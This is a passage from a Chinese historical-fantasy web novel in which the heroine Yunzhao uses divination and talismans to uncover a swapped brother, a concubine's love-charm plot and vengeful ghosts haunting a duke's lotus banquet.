“姜郎……”梅柔卿气若游丝的声音将他拉回现实,她指尖的鲜血悄无声息地渗进他的衣料,“那夜你在妾身耳边说的话,妾身都记得。你说过,会永远信我……”
姜世安的眼神由凌厉逐渐转为迷茫,又渐渐染上几分怜惜。他长叹一声,手中的鞭子“啪嗒”落地,竟弯腰将梅柔卿打横抱起。
“都散了吧。”他嗓音嘶哑,透着深深的疲惫,“今日之事,谁也不准再提。”
跪在地上的姜绾心当即松了口气。
姜珩忙上前扶起妹妹:“妹妹,地上凉,快起来。”
苏氏神色复杂地望着这对兄妹的互动。
云昭却紧蹙眉头,死死盯着姜世安的背影。
伏在他怀中的梅柔卿正用染血的手轻抚他脊背,抬眸看向云昭时,那双美目里满是毒蛇般的阴狠。
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云昭心底觉得不对……正在思忖间,苏氏轻轻握住她的手。
待众人散去,苏氏才低叹:“昭儿,有件事,母亲一直未曾对你提及……”
“母亲可是要说苏家的事?”
苏氏眼眶微红:“当年是母亲糊涂,发生一些事后,对你外祖家说了许多混账话。
如今,母亲已没脸再回去。往后你遇见苏家人……若他们遇到困难,在不为难的情况下,替母亲帮衬一二可好?”
云昭回想起今日苏家那对双生子的态度,沉吟道:“母亲可想回苏家?”
苏氏怔住,眸中闪过一丝向往,随即又黯淡下去:“回不去了。”
母女二人从未聊起过这个话题。
云昭正色道:“母亲如今是圣上亲封的三品淑人,这个荣耀与父亲无关,更与姜家无关。您既知这里是豺狼窝,难道还要与这些烂人纠缠一生?”
苏氏摇了摇头,声音哽咽:“我知道你想说什么。阿昭,你还未成亲……”
“我只要母亲一句话。”云昭握住她微凉的手,“若有机会和离,母亲可愿随我一同离开?”
苏氏怔忡片刻,泪水终于滑落,她轻轻点头:“自是愿意的。但你的婚事……”
“昭儿的婚事自有主张。”云昭目光坚定,“母亲只需记得今日之约。待时机成熟,我定带您回苏家!”
她深知以母亲的性子,不愿让自己为难,更不敢坦言归家之思,但回归苏家,定是母亲深藏心底的渴望。
苏氏望着女儿,忽然恍惚道:“不知为何,母亲总觉得......你兄长像是变了个人。”
云昭心头一跳:“母亲何出此言?”
“你刚走失那年……”苏氏的声音轻柔如梦,“他日日来我房中,用那双小手给我擦泪,说:
‘娘亲不哭,等珩儿学会骑马,一定把妹妹找回来。’那时他才六岁,身子弱得连马鞍都够不着,却总是这般安慰我……”
她的目光飘向远方,仿佛穿越了时光:“后来他生了一场大病,高烧七日不退,整个人都烧糊涂了。你父亲从太医署请来一位姓楚的老太医,施针用药后,烧是退了,人也渐渐好了,可是……”
苏氏声音哽咽:“病愈后,他再也没来我房里说过那样贴心的话。
起初我只当他是病后体虚,后来才发现,他不止身子骨比以前壮实了,连性子都变了。
他不再爱耍刀弄剑,也不再提想要骑马的事,而是整日将自己关在房内读书,对你祖母言听计从,对我也日渐疏远……”
她苦涩摇头,泪水无声滑落:“那时我整日沉浸在失去你的悲痛中,待察觉时,他已被你祖母和父亲惯的......再不是从前的模样了。”
云昭心头巨震,一个荒谬得近乎可笑的猜想浮上心头。
难道兄长他……真的被换了个人?
第97章 真兄长就在京城!
暮色渐沉,屋内烛火摇曳,苏合香的青烟袅袅盘旋,在烛光中织成朦胧的纱幔。
云昭引着苏氏在圆桌前坐下。桌面上摆着一柄**梳,梳齿间缠绕着数根乌黑的发丝。
“这是从兄长房中取来的。”云昭轻声道,又转向苏氏,“请母亲也取一根发丝。”
苏氏指尖微颤,从乌黑的鬓边轻轻拔下一根发丝。那发丝在烛光下泛着柔润的光泽,与梳上那些硬朗的墨发形成鲜明对比。
云昭屏息凝神,双手在胸前结印,指尖泛起淡金色的光晕,如同晨曦初露时的微光。她将两根发丝并排置于掌心,低声念动咒诀:
“血脉同源,灵气共脉;藤缠丝绕,亲缘自现。”
只见那两根发丝竟无风自动,在掌心微微震颤,却始终保持着平行的姿态,仿佛彼此排斥,毫无交融之意。
“若真是血脉至亲,发丝该如藤蔓缠绕,彼此交缠。”云昭的声音在寂静的室内格外清晰,“可你们看,这两根发丝始终泾渭分明,这说明……”
众人的目光死死锁在云昭掌心,连呼吸都屏住了。严嬷嬷不自觉地攥紧了手中的帕子,莺时和雪信更是连眼睛都不敢眨。
可过了半晌,云昭掌心的两根发丝仍然没有半分缠绕之意!
“竟真不是?”苏氏喃喃自语,神情恍惚,一时不知该喜还是该悲。
严嬷嬷在一旁长舒一口气:“若不是,反倒叫人松了口气。”她叹了口气,眼角泛起泪光,“老奴也是做娘的人,入府这些日子,冷眼瞧着他那般行径,若真是夫人的血脉,才叫人心寒。”
莺时忍不住插话:“可如果他不是夫人血脉,那真的公子去哪了?”
雪信也急切地道:“小姐,有没有办法把真的公子找回来?”
苏氏眸中闪过一抹痛楚,嘴上却强自镇定:“都过去这么些年了,若珩儿真是被人偷换,我怕他……”
严嬷嬷眸中也闪过一抹不忍,低声劝慰:“夫人莫要太过伤心。”
云昭眸光坚定:“这个却不难。”
她取出一枚金针,在自己指尖轻轻一刺,鲜红的血珠顿时涌出。将血滴在掌心,双手再次结印,口中念念有词:
“血脉相召,灵气为引。若在人间,当显真形......”
血珠在掌心缓缓流动,渐渐凝聚成一个奇特的符文。所有人都紧盯着那符文的变化,只见它先是黯淡,随后突然迸发出耀眼的光芒。
云昭眼中闪过惊喜:"我兄长他尚在人间!"
说着,她竟突然站了起来,指尖的血珠悬悬欲坠,指向窗外:“且就在京城!”
她目光与苏氏交汇,母女二人眼中俱露出难以置信的惊喜之色!
云昭稍作思索,柔声道:“我教母亲一个辨认血脉的巧宗。”
她捻起自己一绺青丝,示范给众人看,“这法子不需灵力根基,寻常人皆可一试。只需取双方发丝各三根,用晨间汲取的井水浸透,而后并置于掌心。”
她将发丝轻轻放入苏氏掌中,引导她合拢双手:“然后,心中默念咒诀——‘血脉同源,灵气为引;藤绕枝缠,亲缘自显’。静候片刻,若真有亲缘,发丝便会自行缠绕;若是无缘,便会各自松散开来。”
苏氏依言照做,不过须臾之间,便见掌中云昭的发丝与自己的缓缓相缠,终成一个小小的同心结。
她眉眼间顿时漾开温柔笑意,指尖轻抚着那缠绕的发丝,对云昭道:“娘知晓了。若是以后……说不定真能有机会,与你兄长重逢!”
正在这时,门外传来几声轻叩。
雁儿的声音隔着门扉响起:“姑娘,京兆府来人传话。”
雪信应声开门,只听雁儿回禀:“赵大人派人来传信,说是白羡安白大人带着妹妹求到京兆府去了。赵大人特意交代,姑娘若是有法子,还请施以援手。”
云昭眉梢微挑。
白羡安自恃清高,如今竟肯低头求到京兆府。而且听赵悉这意思,像是许了赵悉什么承诺?
她略一思忖,对莺时吩咐:“取朱砂黄纸来。”
待文房备齐,云昭凝神静气,执笔蘸取朱砂,在黄纸上缓缓绘下一道繁复的符咒。笔走龙蛇间,隐约有流光在符纸上游走。
“雪信,”她将绘好的符咒仔细折好,“你将此符交给赵大人。告诉他,这道‘清心化煞符’需一万两白银。若白羡安拿不出……”
她顿了顿,眸光渐深:“就让他说出当日在京兆府,究竟是受何人指使,要那般逼迫我们母女。”
见雪信小心翼翼地将符咒收好,云昭又温声道:“你也有段时日未去探望你娘亲了,今夜便宿在京兆府后院,好生陪陪她罢。”
雪信闻言眼睛一亮,连忙应下,捧着符咒快步离去。
窗外月色渐明,映照着云昭沉静的侧脸。
这道符不过是个引子,她倒要看看,白羡安背后那条线,究竟牵在谁的手里。
*
是夜。
梅柔卿的院落里烛火昏暗,只有一盏琉璃灯在墙角散发着微弱的光芒。
姜绾心正小心翼翼地给趴在锦榻上的梅柔卿上药,看着雪白肌肤上纵横交错的鞭痕,她的眼泪止不住地往下掉。
“父亲也太心狠了……”
梅柔卿冷笑一声,苍白的脸上掠过一丝讥诮:“心儿,不必哭。你父亲是什么样的人,我二十多年前就看得清清楚楚。”
只是这些年郎情妾意,姜世安待她极好,让她一时忘了,豺狼永远都是
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豺狼,喂不熟!
她转头凝视着女儿,目光锐利,“你若觉得他心狠,那么太子身为储君,将来坐拥天下,身边美人如云,他的心只会更狠。你若想不清楚、受不明白,趁早绝了入东宫的念头。否则我苦心栽培的女儿,终究要成为别人的踏脚石。”
姜绾心知道母亲说得在理,可心底仍有个声音在说:或许太子待她,终究是不同的?
见女儿神色犹疑,梅柔卿轻叹一声,正要再劝,却听姜绾心岔开话题:“母亲,父亲今日为何突然转了性子?可见他虽在气头上,心里到底是在意母亲的。”
趴在床上的梅柔卿一时没说话。
姜世安今日的转变,自然是因为她暗中种下的“痴心蛊”终于起了效用。
只是这蛊虫如今尚如米粒般微小,若不是今日她被打得吐血,以血为引激发了蛊性,只怕还难以奏效。
这“痴心蛊”果然如那人所说,一旦种下,便是金石之心也要化为绕指柔。只是如今时候尚早,蛊虫还未长大,她接下来必须步步小心,且不可再受今日之辱!
她问姜绾心:“今晚你父亲喊你去书房,都交代了你什么?”
姜绾心如实道:“无非是让我接下来谨言慎行,在家跟苏氏学好如何掌家,静待嫁入东宫之类。”她又对梅柔卿抱怨,“父亲还说不让我参加郡公府的赏荷宴呢!母亲,我想去……”
梅柔卿眸中闪过一抹狠绝:“你当然要去。心儿,你不仅要去,还要帮母亲好好一雪今日之辱!”
“母亲?”姜绾心听梅柔卿的意思,当即来了精神,“母亲想到办法如何对付姜云昭了?!”
“姜云昭的事,无需你插手。”梅柔卿严厉警告,眼中寒光闪烁,“赏荷宴上自有贵人收拾她,你切莫轻举妄动!”
姜绾心嘴上应着“是”,心里却满是不服。她暗自思忖:母亲总是这般谨慎,若是能在赏荷宴上亲手让姜云昭出丑,岂不是更能彰显她的手段?
她巴不得让姜云昭跪在她的面前,痛哭流涕忏悔昔日过错!叩首求她手下留情!
光是想一想那情形,都让她打从心底里觉得畅快!
梅柔卿背对着女儿,并未看到她脸上的神色,只道:“母亲要让你做的,是另一件事。”
她让姜绾心去妆奁盒底下取出一个锦袋,低声在她耳边嘱咐了几句。姜绾心听得眼睛越来越亮,连连点头。
望着女儿离去的身影,梅柔卿眼中闪过一丝冷厉。
姜世安啊姜世安,枉你自以为聪明,背着我和苏氏,将那个贱种当作嫡子养大。可你万万想不到,我早已查明姜珩的生母是谁。这次赏荷宴,我定要让你这一双儿女,尽数毁在自己亲手布下的局里!
第98章 李家的祖坟风水出了岔子!
清晨的尚书府门前,朝霞将朱漆大门镀上一层暖金,院墙内探出的石榴花开得正艳。
孙婆子穿着一身浆洗得干干净净的靛蓝布衣,洗去往日污垢的脸庞虽布满细纹,依稀可见年轻时的娟秀轮廓。她安静地躬身候在马车旁,姿态恭谨。
云昭缓步走近,轻声问道:“都准备妥当了?”
孙婆子轻轻拍了拍腰间,又抬手在胸前比了个立誓的手势,目光坚定。
云昭淡淡一笑:“我知道你已立过心誓。但今日赏荷宴上,切记凡事都要听我安排,不可冲动行事。我既答应让你报仇,便绝不会食言。”
孙婆子深深颔首,浑浊的眼中闪过一丝压抑的恨意。
话音刚落,身后传来姜绾心夸张的惊呼:“阿姊从哪寻来这么个丑婆子!平日里在家里伺候也就罢了,今日赏荷宴还带着,未免丢人现眼!”
云昭回身,唇角挂着浅淡的笑意:“那日在人牙子手里瞧见这哑婆,我可怜她同是青州人,便做主买下了。”
正从门内走出的姜珩听到“青州”二字,眉头微不可察地一蹙,神色间掠过一丝不自在。
他转向已坐进马车的苏氏,躬身行礼:“母亲。”
苏氏神色淡淡的:“今日赴宴,宾客云集,你身为尚书府嫡子,一言一行都代表着姜家的体面。切记谨守本分,莫要失了分寸。”
“儿子谨记。”姜珩嘴上应着,目光却不由自主地飘向精心打扮的姜绾心,语气温柔:“心儿今日……很是明艳动人。”
姜绾心想起梅氏的叮嘱,朝姜珩展颜一笑,眼波流转:“多谢兄长夸赞。”
苏氏冷眼看着这对兄妹二人黏黏糊糊的模样,并未如往常那般出言训诫。
云昭早已利落地登上马车,唇角噙着一抹若有似无的冷笑。今日这场赏荷宴,怕是要比想象中更加精彩。
*
丹阳郡公府的别苑坐落在京郊玉泉山麓,山间温泉氤氲,翠竹掩映,曲径通幽。
正值初夏,满池荷花初绽,粉白相间,与碧叶相映成趣,清风过处,暗香浮动。
苏氏携着一双女儿与长子甫一登场,便引来诸多探究的目光。
这位近来在京城声名鹊起的尚书夫人,儿子是新科状元,长女得陛下亲赐凤阕令,小女儿又得了那般吉利的批命,更有传言说东宫那位对小女儿青眼有加。
远远地,就见余氏迎上前来,语气带着几分夸张:“姜夫人一来,这满园的花都失了颜色。真是羡煞旁人,儿女个个这般出色。”
这话听着是恭维,却透着一股酸劲儿。
英国公夫人闻言上前,不着痕迹地隔开余氏,亲切地挽住苏氏的手臂:“莫要听她胡诌。快随我来,灼灼那丫头念叨云昭许久了。”
李灼灼一见云昭,立即欢快地跑来:“云昭!后园养了几只**,温驯可爱,我带你去瞧瞧!”
英国公夫人一把拽住女儿:“你这疯猴子,来时如何答应为娘的?先让云昭帮你把正事办了再说。”
李灼灼跺脚嗔道:“娘!就你迷信这些!云昭定要在心里笑话我了!”
云昭浅笑摇头:“不会。若稍后真的占出什么,你可要当心才是。”
云昭语气认真,一副煞有介事的模样,李灼灼不由一怔,收敛了嬉笑之色。
姜绾心原本漫不经心地打量着四周,闻言也凑上前来:“阿姊,你们在说什么?”
她这一问,附近几位与她交好的贵女也都围拢过来。
英国公夫人见状面露不悦,云昭却微微摇头,从容道:“我之前答应灼灼,今日替她占卜姻缘。”
她巧妙地将真实目的隐去,只说是个无伤大雅的游戏。在场的贵女们顿时来了兴致。
“听说姜小姐精通玄术,那你占卜姻缘可准?”
“什么呀!要我说,所谓占卜,不过是些江湖术士的伎俩罢了。”
“姜小姐,也给我们算一卦如何?”
云昭注意到,几个贵女之中,还站着今日要与姜珩相看的那位宜芳县主李扶音。
她计上心来,故意握住李灼灼的手道:“我一日只卜三卦。今日灼灼这卦,还是半月前预约的。况且,我的卦金可不便宜。”
“不知占一卦需多少卦金?”李扶音果然开口询问。
她生得纤弱秀美,说起话来也轻声细语,与李灼灼的明艳活泼截然不同,恰似一枝风中细柳,我见犹怜。
云昭淡淡道:“白银五千两。”
众人哗然:
“五千两?这不是抢钱?”
“我买过最贵的一张姻缘符,也不过白银五百两!”
姜绾心也柔声道:“阿姊,你这也收太贵了。大家都是姊妹,平日里抬头不见低头见的,何必这般计较财帛。”
云昭瞥她一眼,唇角微扬:“放心,旁人五千两我还给看,你的话,一万两也不行。”
姜绾心脸色一僵,勉强维持着笑意:“阿姊真会玩笑。”
若不是昨晚梅柔卿特意交代,她才不会如今日这般,厚着脸皮一直黏在云昭身边。
一位与姜绾心交好的贵女笑道:“心儿何须占卜,谁不知她即将嫁入……”
姜绾心羞怯地捂住她的嘴:“莫要胡说。”
又有人问:“心儿,怎不见宁儿妹妹?”
姜绾心眸光微闪,低声道:“二婶才过世,她无心出游。我答应她,若见着什么有趣的,定带一份回去。”
“心儿真是心善。”众人纷纷称赞。
云昭听腻了这些闲话,与李灼灼转身离去。几位好奇的贵女紧随其后,李扶音也在其中。
众人寻到一处青石圆桌。
云昭从袖中取出一方罗盘,罗盘上镌刻着二十八星宿,中央嵌着一颗流转着七彩光华的月长石。
“请将双手悬于罗盘之上。”云昭对李灼灼温声道。
待李灼灼依言照做,云昭指尖轻点,罗盘上的星宿竟缓缓转动起来。
月长石中投射出点点星光,在二人之间交织成一道璀璨的星幕。突然,星幕中浮现出一枝桃花,本该娇艳的花朵却隐隐泛着诡异的青黑色。
当然这一切,在旁人眼中只是一片虚无,只有身具“玄瞳”之术的云昭方能瞧见。
“闭目。”云昭轻喝,双手结印。
只见她指尖凝聚出一缕金光,在星幕中勾勒出一道繁复的符咒。
符咒成型的刹那,那枝桃花突然绽放出刺目的红光,花瓣片片凋零,化作缕缕黑烟。
云昭神色一凝。这分明是阴桃花之象,若不在十八岁前化解,恐有性命之忧。
她不动声色,取出一截红线,让李灼灼伸出手腕。
见她戴的是银镯,云昭眼前一亮:“正好。”
她以指尖在银镯上虚画符咒,红线竟自行缠绕在银镯上,隐隐泛着金光。
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随后附在李灼灼耳边低语:“今夜我去你房中详谈。”
英国公夫人远远看见,紧张得攥紧了手帕。
苏氏轻声宽慰:“别担心,昭儿自有分寸。”
围观的贵女们纷纷追问:“灼灼的姻缘究竟如何?”
云昭迎着李灼灼清澈的目光笑道:“灼灼命格特殊,不宜早婚。但若缘分一到,必是上等姻缘。对方才高八斗,俊美不凡,且日后必能位极人臣。”
李灼灼起初还当是玩笑,笑吟吟听着,越往后听越觉不对。
英国公夫人却喜得合不拢嘴,低声对苏氏道:“若真如此,我做梦都要笑得捶床!”
“快别说了!”李灼灼连连摆手,“什么才高八斗的,听得我浑身不自在!我可不像堂姐,不喜欢那些文绉绉的书生!”
一旁的李扶音闻言,俏脸微红。
她款步上前,细声细语道:“云昭姑娘,我愿出五千两,请你也为我卜一卦。”
云昭浅笑:“我只收县主一千两便可。”
“为何?”李扶音尚未开口,旁边已有贵女诧异发问。
云昭凝眸细看李扶音,她身具玄瞳之术,此刻在日光下看得分明——
李扶音周身隐隐流转着一层浅金色的光华,那光华纯净剔透,不染尘埃。更奇特的是,在她眉心处隐约浮现一朵含苞待放的莲花印记,虽凡**眼难辨,却在云昭的玄瞳中清晰可见。
云昭道:“一千两,外加县主在明日卯时,为我采摘七朵带着晨露的白荷。”
净莲转世之人,周清气环绕,眉间隐现莲印,举手投足间自带芬芳。经她们亲手采摘的晨露鲜花,皆具祛邪净化的功效,正是她所需之物。
李扶音闻言,眸中掠过一丝讶异。
身旁的丫鬟忍不住惊叹:“姜小姐如何知晓我们县主每日清晨都要去荷塘采花?县主自幼就爱侍弄花草,经她手照料的花木,总是开得格外繁盛。”
“姜小姐若是喜欢,我院中还有今晨刚采的几支白荷,可以一并赠予姜小姐。”李扶音柔声道。
云昭也不推辞:“那就却之不恭了。”
接下来为李扶音占卜,云昭换了方法。
她让李扶音在掌心写下一个“缘”字,细观其笔走势。又取出一枚古铜钱,让她握在手中默想心中之人。
谁知铜钱在李扶音掌心微微震颤,竟始终立而不倒。
云昭凝眉细看李扶音面相,她虽身形纤弱,但福德宫饱满明润,本该是夫妻和睦、儿女双全之相,为何姻缘线却是一片空白?
想起李灼灼的阴桃花,云昭忽然问道:“你们是堂姐妹?”
“是啊,”李灼灼抢答,“我爹是兄长,她爹是弟弟。怎么了?”
云昭心中一凛:问题恐怕不在个人,而是李家的祖坟风水出了岔子!
李扶音急切追问:“姜小姐,可是我的姻缘不顺?”
云昭不动声色:“并非如此。”她择吉言相告,“县主的良缘应在盛夏,是位英武不凡的少年郎。”
她未曾明言的是:并非今年盛夏。
众人纷纷笑道:“那不就是最近?”
李扶音却微微蹙眉。
她心中属意的是那位清俊儒雅的兰台公子,与“英武”二字相去甚远。
她不由深深看了云昭一眼:她是姜珩的嫡亲妹妹,今日故意当着她的面这样说,是在不看好她与姜珩吗?
第99章 血债缠身
云昭见李扶音眉间凝着疑虑,唇角微扬:“县主与我初次相见,不信这卦象也是常理。不如我们打个赌如何?”
李扶音抬眸,眼中带着几分戒备:“什么赌?”
“这一千两卦金,我今日分文不取。”云昭从容道,“待县主觅得良缘、缔结秦晋之好那日,我再以十倍之价收回,如何?”
李灼灼在一旁拍手叫好:“堂姐,这赌约你横竖不亏,应下又何妨!”
几位看热闹的贵女也纷纷起哄:“县主若是赢了,可是白赚一卦;若是输了,也不过是成全一段良缘,怎么算都不亏!”
云昭神色坦然,姿态磊落,显然对自己的判断极有信心。
一时间,众人都将这当作一桩风雅趣事,唯独李扶音眉宇间凝着化不开的忧色。
若云昭的卦象成真,那她与姜珩岂不是……
“好了好了!”英国公夫人适时上前,亲**挽住云昭的手臂,
“你们这些丫头,一个个都想缠着云昭算卦,倒让我这个做长辈的插不上话。我可要先把人借走说几句体己话,否则我这心里的话都要憋出芽来了!”
这话说得俏皮,引得众人哄堂大笑。
云昭顺势起身,李灼灼也要跟上,却被云昭轻轻掐了下手心。
“交给你一桩事。”云昭压低声音,“我不在时,替我盯好你的堂姐,别让旁人轻易近身。”
李灼灼眨了眨眼,尚未会意。
“回来教你甩鞭花。”云昭轻声道。
李灼灼眼睛一亮,当即转身挽住李扶音:“堂姐,我前年来时记得你家有只会说话的八哥,快带我去瞧瞧!可不许藏私!”
姜绾心咬着唇望着云昭远去的背影,终究跺了跺脚,转朝李灼灼和李扶音的方向去了。
梅氏虽嘱咐她要盯紧云昭,可有英国公夫人和苏氏在侧,她根本无从下手。倒不如先盯着李扶音,见机行事。
终于得了独处的机会,英国公夫人急急问道:“究竟如何?”
云昭沉吟片刻,决定直言不讳:“不瞒夫人,不仅灼灼的姻缘有异,县主的姻缘线也颇为蹊跷。”
英国公夫人脸色骤变:“这话从何说起?扶音那孩子命苦,十岁上就没了娘亲,怎会连姻缘也……”
“夫人若是信我,”云昭正色道,“不妨派人去李家祖坟查看一二。”
英国公夫人与苏氏对视一眼,皆露惊诧。
“若我所料不差,”云昭继续道,“即便不懂风水之人,也能看出些端倪。”
英国公夫人沉吟道:“李家祖坟就在京郊三十里外的龙泉县,快马加鞭半日可往返。我这就遣心腹前去查探。”
她紧握住云昭的手,语气恳切,“云昭,你与我说句实话。若真有问题,你可能相助?银钱方面,断不会亏待于你。”
苏氏在一旁目露忧色。
云昭沉吟道:“夫人爽快,我也不绕弯子。祖坟出事,无非两种缘由:一是有人刻意为之,二是因果报应。若是后者……”她顿了顿,神色凛然,“恕我不能插手。”
英国公夫人急道:“难道天意如此,就无可转圜?”
“非也。”云昭目光清亮,言语间自有一股傲气,“因果报应并非天意,而是从前亏欠人家的,如今人家要拿回来。这等事,我不会干涉。”
说罢,她朝英国公夫人施了一礼,又对苏氏道:“母亲,我有些乏了,想稍作歇息。”
苏氏会意,温声道:“去吧。记得赏荷宴还有一炷香就要开席。”又嘱咐随行的丫鬟婆子,“仔细着,莫要误了时辰。”
辞别二人,云昭带着丫鬟婆子穿过曲折回廊,径直往温泉山庄一处僻静的侧门行去。早已候在此处的赵悉见她到来,眼睛一亮。
云昭身量在女子中已算高挑,赵悉却只比她略高些许。
今日他扮作女装,一袭淡粉襦裙,那双桃花眼流转生辉,竟丝毫不显违和。
唯有孙婆子一眼识破,向来沉静的脸上罕见地掠过一丝惊诧。
赵悉朝云昭俏皮眨眼,捏着嗓子道:“小姐,奴婢在此恭候多时了。”他伴作女子的声音微沙,听起来倒是别有一番韵味。
云昭无奈摇头:“别闹了。”
她转身对莺时和雪信嘱咐:“这位是我请来的帮手,并非真丫鬟。若见什么异常,记得替他遮掩。”
又对四人正色道:“今日赏荷宴恐生变故。你们切记跟紧我,随机应变。”
众人纷纷应下,唯独赵悉不解:“变故?”
难道他男扮女装混进宴会,还不是今日最大的变故?
云昭神色凝重:“与我们无关。”
她瞥了眼孙婆子,在场唯有她立即领会了云昭的未尽之言,“李家祖坟出了岔子,若我所料不差,今日这赏荷宴上,必会有所应验。”
*
正式的赏荷宴开始前,男女宾客自是分开宴饮。
赵悉寸步不离地跟在云昭身侧,借着整理裙摆的间隙低声道:“他在临风居,待宴席开始后再与我们会合。”
云昭微怔,才意识到赵悉口中的“他”指的是萧启。她此刻心神仍系于方才所见——李灼灼与李扶音姻缘线上的异状。
但若真是李家祖坟出了问题,按理不该只应在女子身上。
她转向赵悉:“你可知道李家几位公子的事?”
这话可算问到了赵悉的专长。
他顿时来了精神,压低声音道:“李家兄弟二人,兄长封英国公,弟弟封丹阳郡公,这在我朝可是独一份的殊荣。
英国公府上有六位公子,如今全被英国公扔到战场上历练去了,个个都是骁勇善战的好儿郎。”
他顿了顿,蹙眉道:“至于丹阳郡公府上……李扶音上头有位兄长,自幼体弱多病,常年卧床;
下头还有个弟弟,倒是身强体壮,可惜**样样精通,是个不成器的。”
也就是说,如今的丹阳郡公府上,夫人早逝,长子病弱,幼子顽劣。
若李扶音不是净莲转世身负灵光庇佑,恐怕根本活不到现在,难怪今日见她身姿那般纤薄,隐有病弱之态。
而李灼灼身上的阴桃花,很可能正是因为两家往来密切,被牵连所致。
云昭眸光微凛——果然如她所料,问题的根源在丹阳郡公府上。
赵悉又压低声音道:“两位公子都指望不上,郡公一直想为李扶音招赘。说实话,你那位兄长并非郡公的首选,不过是县主自己有意罢了。”
说话间,众人已行至宴客的“幽莲苑
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”。
但见园中曲水蜿蜒,九曲回廊连接着精巧的亭台水榭。满池莲荷在初夏的微风中摇曳生姿,如诗如画。
宾客们依序入座,丝竹之声悠扬响起,一派祥和景象。
主位上端坐着丹阳郡公李崇。他年约四旬,面容端正,身着绛紫锦袍,腰束玉带。
云昭玄瞳微启,只见他周身笼罩着一层灰败死气,眉宇间缠绕着深重的黑雾,那黑雾中隐隐有血色闪动——
这正是家宅不宁、血脉将绝的凶兆,且似有血债缠身。
丹阳郡公却似浑然不觉,举杯朗声笑道:“今日荷香满园,承蒙诸位赏光,李某不胜荣幸。望诸位开怀畅饮,尽兴而归!”
下方坐着李扶音,她身侧是一位容貌美艳的年轻女子。
那女子约莫三十出头,发间只簪一支碧玉步摇,打扮清雅,却难掩绝色,是郡公的宠妾柳氏。据说她原是郡公麾下一位阵亡将领的妹妹,因家道中落被纳为贵妾。
众人举箸开始用席。
坐在斜对面的姜珩举着杯盏,却并未饮酒,而是频频望向女宾席上的李扶音。
起初县主还蹙着黛眉,似有心事重重,待觉察到他灼热的目光后,两人视线几次交汇,李扶音渐渐双颊绯红,忙低头掩饰,那眼波流转间尽是少女怀春的娇羞。
而姜珩则愈发志得意满,从云昭的角度看去,他简直像只不停开屏的孔雀,恨不得向全场展示自己的风采。
就在这时,忽而传来一声惊叫!
众人循声望去,见是一位端着菜肴经过莲池的婢女。
她面色惨白如纸,手中的银盘“咣当”一声摔在地上,佳肴珍馐撒了一地。
上首处的丹阳郡公眉宇阴沉,正要动怒,柳姨娘已温声劝道:“郡公息怒,想是这丫头一时手滑。”
她转向那婢女,语气温和却带着不容置疑的威严,“还不快收拾了退下?”
很快有两个婆子上前收拾残局。
那犯了错的侍女跪在地上连连叩首,随即颤抖着起身离去。
云昭清晰地瞧见,她快步离开时,眼睛恐惧地朝莲池瞥了一眼,那眼神中满是惊骇,仿佛看见了什么极其可怕的东西。
身旁的苏氏低声道:“昭儿,无事罢?”
云昭轻轻摇头,目光仍紧锁着那片莲池。可惜从她这个视角,只能看见层层叠叠的荷叶,无法看清池中究竟藏着什么。
紧接着,姜绾心突然“哎呀”一声,连声道歉。
云昭朝她看去,就见李扶音的裙角湿了一小块,虽不影响观瞻,但瞧着总是不雅。按惯例,贵女此时该离席更衣。
云昭蹙眉,正要开口,坐在李扶音另一边的李灼灼已抢先道:“堂姐,也没多大事,就手指肚那么大一小块,风一吹都干了。”
她说话声音不大,但离得近的几位相熟的贵女都听见了,忍不住轻笑起来。
李扶音悄悄瞥了坐在对面的姜珩一眼,见他正关切地望着自己,便红着脸摇了摇头,示意无妨。
而姜绾心就在这时侧眸,突然朝云昭的方向看了一眼。
云昭微微眯起眼,她原以为姜绾心方才那一出,意在帮姜珩成其好事……
但现在看来,或许她真正的目标,是自己?
第100章 总不能眼睁睁看着妹妹难受
云昭佯作不知,垂眸细细品尝着碗中的荷叶糯米鸡。瓷勺轻碰碗沿,发出细微清脆的声响,仿佛与这满园的暗流汹涌格格不入。
就在这时,忽听李灼灼低声道:“堂姐,你怎么了?”
云昭抬眸看去,但见李扶音脸色惨白如纸,双眸直直盯着莲池方向,握着酒杯的指节因用力而泛白,连酒水洒出都浑然不觉。
坐在县主另一侧的姜绾心也轻声问:“县主在看什么?”她循着李扶音的视线,“莲池中有什么?”
李扶音猛地回神,飞快地垂下眼帘,指尖微颤着饮了一口酒,强作镇定道:“没什么,许是眼花了。”
云昭再次看向莲池。这一次,她终于察觉到了异样。池水深处,似有暗流涌动,连池边的莲叶都在微微震颤。
她以指尖沾取清水,缓缓划过双眸,口中默念:“玄天洞幽,破妄见真!”
刹那间,眼前的景象让她心头一震。
只见莲池底部密密麻麻挤满了扭曲的怨魂,它们面目狰狞,周身缠绕着浓重的黑气,正疯狂撞击着一道无形的屏障。更可怕的是,这些怨魂身上都带着沙场征伐的煞气,显然都是战死的亡魂!
不知何人,竟以邪术引来如此多的怨魂!这绝非单纯在祖坟动手脚就能做到的。
云昭目光凌厉地扫视全场——
此法名为“百鬼噬魂阵”,施术者以自身精血为引,操控怨魂伤人。那个操控怨魂的人,必定就在今日的宾客之中!
然而此法极其凶险,一旦怨魂反噬,不仅施术者本人会被怨魂撕成碎片,今日在场众人,个个性命难保,都会沦为阵中亡魂!
而这莲池异动频频,正是施术者濒临失控的征兆!
云昭当机立断,指尖在酒盏上飞速划动,一道淡金色的符文在盏底一闪而逝。
凡遇怨魂,要么当场尽数诛灭,要么暂且**,之后再寻他法化解怨气。
云昭此刻所行之法,并不会诛灭怨魂,却能暂时**。她既不了解个中因果,自不会贸然插手丹阳郡公府的私怨。
“雪信。”她轻声唤道,将酒盏递过去,“将这盏酒拿去倒了。”
雪信会意,端着酒盏走向莲池。
就在她经过池边时,不远处不知何人指尖轻弹,一颗石子精准地落入莲池,激起一片晶莹水雾。
云昭朝树丛看去,一道挺拔的身影静立其中。萧启一身玄色侍卫服饰,脸上特意涂得黑黢黢,掩去了往日冷白如玉的肌肤,却衬得那双深邃凤眸愈发锐利如鹰。
见云昭朝他看来,他微侧过脸,明显不欲引起他人注目。
众人见莲池飘起水雾,只当是锦鲤跃水,纷纷笑谈。
“好生肥美的锦鲤!”
“看来郡公府上的鱼儿也通人性,知道今日热闹。”
上首处的李崇,强压着心头不安,勉强笑应:“这池中的锦鲤养了多年,确实颇有灵性。”
雪信趁众人说笑,悄无声息地回到云昭身后。
但云昭云昭敏锐地发现,在李崇与宾客谈笑时,李扶音又一次望向莲池,脸色更加苍白。
云昭也不意外,净莲转世之人,自然有些特异之处。能看到一些东西,也不奇怪。
就在这时,姜绾心忽然轻呼一声,身子晃了晃,扶着额角软软靠在案几上。
